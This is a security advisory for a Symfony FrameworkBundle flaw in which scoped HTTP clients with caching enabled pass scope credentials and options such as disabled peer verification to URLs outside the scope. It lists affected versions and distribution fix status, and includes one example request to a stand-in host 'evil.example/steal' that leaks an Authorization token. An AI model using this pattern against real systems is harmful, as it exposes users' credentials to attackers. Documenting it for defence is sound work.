Skip to content
OpenAdvisories
Medium · 6.3 CVE-2026-133747 EUVD-2026-135236

Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin

Published Nov 25, 2026 · Assigned by Symfony

Description

Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:

framework:
http_client:
scoped_clients:
github.client:
base_uri: 'https://api.github.com'
headers: { Authorization: 'token GH-SECRET' }
caching: { enabled: true }

$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"

Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.

The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.

Affected products

VendorProductAffectedFixed
Symfony symfony/framework-bundle 7.4.0 – < 7.4.24, 8.0.0 – < 8.1.12 7.4.24
Symfony symfony/symfony 7.4.0 – < 7.4.24, 8.0.0 – < 8.1.12 7.4.24

Fixed in Linux distributions

Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.

ReleasePackageFixed inAdvisory
Debian 14 symfony No fix yet —
ReleasePackageFixed inAdvisory
Ubuntu 26.10 symfony No fix yet —
Ubuntu 26.04 LTS symfony No fix yet —
Ubuntu 16.04 LTS symfony No fix yet —
Show 4 more (older releases, extended support, other products)
ReleasePackageFixed inAdvisory
Ubuntu Pro 24.04 LTS symfony No fix yet —
Ubuntu Pro 22.04 LTS symfony No fix yet —
Ubuntu Pro 20.04 LTS symfony No fix yet —
Ubuntu Pro 18.04 LTS symfony No fix yet —

References